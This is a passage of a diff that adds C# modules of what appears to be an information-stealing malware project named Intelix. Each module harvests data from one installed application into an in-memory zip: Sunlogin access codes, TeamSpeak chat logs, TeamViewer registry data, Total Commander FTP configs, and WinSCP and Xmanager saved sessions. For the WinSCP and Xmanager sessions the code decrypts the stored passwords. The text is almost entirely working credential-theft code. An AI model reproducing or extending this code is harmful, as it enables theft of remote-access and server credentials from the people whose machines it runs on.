string path4 = "C:\\\\Windows\\\\system32\\\\config\\\\systemprofile\\\\AppData\\\\Roaming\\\\Oray\\\\SunloginClient\\\\sys_config.ini";
|
||||
if (File.Exists(path4))
|
||||
{
|
||||
string input3 = File.ReadAllText(path4);
|
||||
string value7 = Regex.Match(input3, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
string value8 = Regex.Match(input3, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
string value9 = Regex.Match(input3, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
AppendFound("systemprofile", path4, value7, value8, value9);
|
||||
}
|
||||
if (sb.Length > 0)
|
||||
{
|
||||
string text2 = "Sunlogin\\info.txt";
|
||||
zip.AddTextFile(text2, sb.ToString());
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
void AppendFound(string source, string text3, string text4, string text5, string text6)
|
||||
{
|
||||
sb.AppendLine("Source: " + source);
|
||||
if (!string.IsNullOrEmpty(text3))
|
||||
{
|
||||
sb.AppendLine("Path: " + text3);
|
||||
counterApplications.Files.Add(text3 + " => Sunlogin\\info.txt");
|
||||
}
|
||||
sb.AppendLine("Fastcode: " + text4);
|
||||
sb.AppendLine("Encry_pwd: " + text5);
|
||||
sb.AppendLine("Sunlogincode: " + text6);
|
||||
sb.AppendLine();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class TeamSpeak : ITarget
|
||||
{
|
||||
private readonly bool _collectChannelChats = true;
|
||||
|
||||
private readonly bool _collectServerLogs = true;
|
||||
|
||||
private readonly long _minFileSize = 50L;
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = new string[2]
|
||||
{
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "TeamSpeak 3 Client"),
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "TeamSpeak 3 Client")
|
||||
}.FirstOrDefault(Directory.Exists);
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string path = Path.Combine(text, "config", "chats");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] directories = Directory.GetDirectories(path);
|
||||
if (directories == null || directories.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "TeamSpeak";
|
||||
int num = 1;
|
||||
string[] array = directories;
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string[] array2 = Directory.EnumerateFiles(array[i], "*.txt", SearchOption.TopDirectoryOnly).Where(delegate(string f)
|
||||
{
|
||||
string fileName = Path.GetFileName(f);
|
||||
if (string.IsNullOrEmpty(fileName))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
if (!_collectChannelChats && fileName.StartsWith("channel", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
if (!_collectServerLogs && fileName.StartsWith("server", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
return new FileInfo(f).Length >= _minFileSize;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}).ToArray();
|
||||
if (array2.Length == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] array3 = array2;
|
||||
foreach (string text2 in array3)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text3 = $"TeamSpeak\\{num}\\" + Path.GetFileName(text2);
|
||||
zip.AddFile(text3, File.ReadAllBytes(text2));
|
||||
counterApplications.Files.Add(text2 + " => " + text3);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
num++;
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add("TeamSpeak\\");
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class TeamViewer : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\TeamViewer"))
|
||||
{
|
||||
list.AddRange(RegistryParser.ParseKey(key));
|
||||
}
|
||||
using (RegistryKey key2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\TeamViewer", writable: false))
|
||||
{
|
||||
list.AddRange(RegistryParser.ParseKey(key2));
|
||||
}
|
||||
if (list.Any())
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "TeamViewer";
|
||||
string text = "TeamViewer\\Registry.txt";
|
||||
zip.AddTextFile(text, string.Join("\n", list));
|
||||
counterApplications.Files.Add("SOFTWARE\\TeamViewer => " + text);
|
||||
counterApplications.Files.Add(text);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class TotalCommander : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "GHISLER", "wcx_ftp.ini");
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string text2 = "Total Commander\\wcx_ftp.ini";
|
||||
zip.AddFile(text2, File.ReadAllBytes(text));
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Total Commander";
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class WinSCP : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
List<string> list2 = new List<string>();
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Martin Prikryl\\WinSCP 2\\Sessions");
|
||||
if (registryKey == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] subKeyNames = registryKey.GetSubKeyNames();
|
||||
foreach (string text in subKeyNames)
|
||||
{
|
||||
string text2 = "Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + text;
|
||||
using RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(text2);
|
||||
if (registryKey2 != null)
|
||||
{
|
||||
string text3 = registryKey2.GetValue("HostName")?.ToString();
|
||||
if (!string.IsNullOrWhiteSpace(text3))
|
||||
{
|
||||
string text4 = registryKey2.GetValue("UserName")?.ToString();
|
||||
string pass = registryKey2.GetValue("Password")?.ToString();
|
||||
string text5 = DecryptPassword(text4, pass, text3);
|
||||
string text6 = registryKey2.GetValue("PortNumber")?.ToString();
|
||||
list.Add("Session: " + text + "\nUrl: " + text3 + ":" + text6 + "\nUsername: " + text4 + "\nPassword: " + text5);
|
||||
list2.Add("HKEY_CURRENT_USER\\" + text2);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
if (list.Count <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string text7 = "FTP/WinSCP/Sessions.txt";
|
||||
zip.AddTextFile(text7, string.Join("\n\n", list));
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "WinSCP";
|
||||
foreach (string item in list2)
|
||||
{
|
||||
counterApplications.Files.Add(item + " => " + text7);
|
||||
}
|
||||
counterApplications.Files.Add(text7);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
|
||||
private static int DecryptNextChar(List<string> charList)
|
||||
{
|
||||
return 0xFF ^ ((((int.Parse(charList[0]) << 4) + int.Parse(charList[1])) ^ 0xA3) & 0xFF);
|
||||
}
|
||||
|
||||
private static string DecryptPassword(string user, string pass, string host)
|
||||
{
|
||||
if (string.IsNullOrEmpty(user) || string.IsNullOrEmpty(pass) || string.IsNullOrEmpty(host))
|
||||
{
|
||||
return "";
|
||||
}
|
||||
try
|
||||
{
|
||||
List<string> list = pass.Select((char c) => c.ToString()).ToList();
|
||||
List<string> list2 = new List<string>();
|
||||
foreach (string item in list)
|
||||
{
|
||||
switch (item)
|
||||
{
|
||||
case "A":
|
||||
list2.Add("10");
|
||||
break;
|
||||
case "B":
|
||||
list2.Add("11");
|
||||
break;
|
||||
case "C":
|
||||
list2.Add("12");
|
||||
break;
|
||||
case "D":
|
||||
list2.Add("13");
|
||||
break;
|
||||
case "E":
|
||||
list2.Add("14");
|
||||
break;
|
||||
case "F":
|
||||
list2.Add("15");
|
||||
break;
|
||||
default:
|
||||
list2.Add(item);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (DecryptNextChar(list2) == 255)
|
||||
{
|
||||
DecryptNextChar(list2);
|
||||
}
|
||||
list2.RemoveRange(0, 4);
|
||||
int num = DecryptNextChar(list2);
|
||||
list2.RemoveRange(0, 2);
|
||||
int count = DecryptNextChar(list2) * 2;
|
||||
list2.RemoveRange(0, count);
|
||||
string text = "";
|
||||
for (int num2 = 0; num2 < num; num2++)
|
||||
{
|
||||
text += (char)DecryptNextChar(list2);
|
||||
list2.RemoveRange(0, 2);
|
||||
}
|
||||
string oldValue = user + host;
|
||||
return text.Replace(oldValue, "");
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class Xmanager : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
WindowsIdentity current = WindowsIdentity.GetCurrent();
|
||||
string sid = current.User.ToString();
|
||||
DirectoryInfo root = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Personal));
|
||||
List<string> source = Search(root);
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Xmanager";
|
||||
Parallel.ForEach(source, delegate(string sessionFile)
|
||||
{
|
||||
List<string> list = ReadConfigFile(sessionFile);
|
||||
if (list.Count >= 4)
|
||||
{
|
||||
string text2 = list[0]?.Trim() ?? "";
|
||||
string text3 = list[1] ?? "";
|
||||
string text4 = list[2] ?? "";
|
||||
string text5 = list[3] ?? "";
|
||||
string text6 = " Version : " + text2 + "\n";
|
||||
text6 = text6 + " Host : " + text3 + "\n";
|
||||
text6 = text6 + " User : " + text4 + "\n";
|
||||
text6 = text6 + " RawPass : " + text5 + "\n";
|
||||
string text7 = DecryptToString(text4, sid, text5, text2);
|
||||
text6 = text6 + " Decrypted: " + text7 + "\n\n";
|
||||
lines.Add(text6);
|
||||
counterApplications.Files.Add(sessionFile + " => Xmanager\\sessions.txt");
|
||||
}
|
||||
});
|
||||
if (lines.Any())
|
||||
{
|
||||
string text = "Xmanager\\sessions.txt";
|
||||
zip.AddTextFile(text, string.Concat(lines));
|
||||
counterApplications.Files.Add(text);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
|
||||
private List<string> Search(DirectoryInfo root)
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
if (!root.Exists)
|
||||
{
|
||||
return list;
|
||||
}
|
||||
Stack<DirectoryInfo> stack = new Stack<DirectoryInfo>();
|
||||
stack.Push(root);
|
||||
while (stack.Count > 0)
|
||||
{
|
||||
DirectoryInfo directoryInfo = stack.Pop();
|
||||
try
|
||||
{
|
||||
FileInfo[] files = directoryInfo.GetFiles();
|
||||
for (int i = 0; i < files.Length; i++)
|
||||
{
|
||||
string fullName = files[i].FullName;
|
||||
if (fullName.EndsWith(".xsh", StringComparison.OrdinalIgnoreCase) || fullName.EndsWith(".xfp", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
list.Add(fullName);
|
||||
}
|
||||
}
|
||||
DirectoryInfo[] directories = directoryInfo.GetDirectories();
|
||||
foreach (DirectoryInfo item in directories)
|
||||
{
|
||||
stack.Push(item);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private List<string> ReadConfigFile(string path)
|
||||
{
|
||||
string input = File.ReadAllText(path);
|
||||
string value = Regex.Match(input, "Version=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
string value2 = Regex.Match(input, "Host=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
string value3 = Regex.Match(input, "UserName=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
string value4 = Regex.Match(input, "Password=(.*)", RegexOptions.Multiline).Groups[1].Value;
|
||||
List<string> list = new List<string> { value, value2, value3 };
|
||||
if (!string.IsNullOrEmpty(value4) && value4.Length > 3)
|
||||
{
|
||||
list.Add(value4);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private string DecryptToString(string username, string sid, string rawPass, string ver)
|
||||
{
|
||||
byte[] array = Convert.FromBase64String(rawPass);
|
||||
byte[] key;
|
||||
if (ver.StartsWith("5.0") || ver.StartsWith("4") || ver.StartsWith("3") || ver.StartsWith("2"))
|
||||
{
|
||||
key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes("!X@s#h$e%l^l&"));
|
||||
}
|
||||
else if (ver.StartsWith("5.1") || ver.StartsWith("5.2"))
|
||||
{
|
||||
key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(sid));
|
||||
}
|
||||
else if (ver.StartsWith("5") || ver.StartsWith("6") || ver.StartsWith("7.0"))
|
||||
{
|
||||
key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(username + sid));
|
||||
}
|
||||
else
|
||||
{
|
||||
string s = new string((new string(username.ToCharArray().Reverse().ToArray()) + sid).ToCharArray().Reverse().ToArray());
|
||||
key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(s));
|
||||
}
|
||||
byte[] array2 = new byte[array.Length - 32];
|
||||
Array.Copy(array, 0, array2, 0, array2.Length);
|
||||
byte[] array3 = RC4Crypt.Decrypt(key, array2);
|
||||
if (array3 == null)
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
return Encoding.ASCII.GetString(array3);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user